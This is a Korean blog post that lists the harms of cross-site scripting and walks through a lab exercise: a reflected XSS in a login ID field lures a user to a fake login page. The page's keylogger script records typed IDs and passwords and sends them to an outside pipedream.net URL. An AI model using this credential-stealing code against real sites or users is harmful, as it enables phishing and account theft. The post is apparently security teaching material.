XSS 공격이란?
XSS로 발생할 수 있는 피해는 다음과 같다.
사용자의 개인정보 탈취 | Keylogger 형태의 스크립트를 사용하여 키보드 입력 값 탈취 |
사용자의 쿠키정보 탈취 | Document.cookie를 사용하여 해당 사용자의 쿠키 값 탈취 |
피싱 사이트로 강제 이동 | Location.href등을 사용하여 페이지 강제 이동 |
악성코드 다운로드 및 실행 | 악성코드 다운로드 링크로 이동 및 낮은 보안수준에서 악성코드 강제 실행 |
출처: https://gomguk.tistory.com/61
실습은 공격을 위해 구현된 웹페이지에서 진행한다.
Step 1) 로그인 페이지에 아무 계정을 입력함
Step 2) 계정이 존재하지 않는 경우 입력한 ID가 포함된 alert창이 뜨는 것을 확인함
Step 3) ID 입력값을 조작하여 조작한 로그인 페이지로 이동시키는 URL을 생성
Step 4) 사용자에게 해당 URL을 전달해서 파싱 사이트에 접근하도록 유도
Step 5) 사용자는 파싱 사이트에 접근하여 자신의 계정정보로 로그인을 시도
Step 6) 매 로그인마다 실패 메시지가 뜨고 사용자는 계속해서 로그인을 시도함
Step 7) 입력한 계정정보가 공격자 페이지로 넘어간 것을 확인함
아래는 키로거가 삽입된 페이지의 일부 코드다. 가독성을 위해 CSS는 생략했다.
<body>
<h3>Login</h3>
<p><input id="id" type="text" placeholder="ID"/></p>
<p><input id="pw" type="password" placeholder="PASSWORD"/></p>
<button id="btn">로그인</button>
<script>
const id = document.getElementById("id");
const pw = document.getElementById("pw");
const btn = document.getElementById("btn");
var mysite = "https://ena4lcqw8omj4.x.pipedream.net?";
var id_buffer = "";
var pw_buffer = "";
id.addEventListener("keyup", () => {
id_buffer += event.key;
});
pw.addEventListener("keyup", () => {
pw_buffer += event.key;
});
btn.addEventListener("click", () => {
var i = new Image();
i.src = mysite + "id=" + id_buffer + "&" + "pw=" + pw_buffer;
alert("다시 시도해주세요");
id_buffer = "";
pw_buffer = "";
});
</script>
</body>
우선 id, pw 입력창을 만들고, 사용자가 입력하는 값을 각각 id_buffer와 pw_buffer에 저장한다. 이후 로그인 버튼을 누르면 공격자 페이지인 mysite의 URL에 저장한 id와 pw 값을 파라미터에 담아서 넘어가게 했다.
참고) <img> 태그의 src 속성은 이미지 소스의 URL을 명시한다. 브라우저는 웹 페이지가 로딩되는 순간 이미지를 가져오기 위해 해당 URL에 접속한다.
'웹 해킹 > XSS' 카테고리의 다른 글
XSS(Cross Site Scripting) 공격이란? (종류, 방어기법, 공격 시나리오) (0) | 2023.11.20 |
---|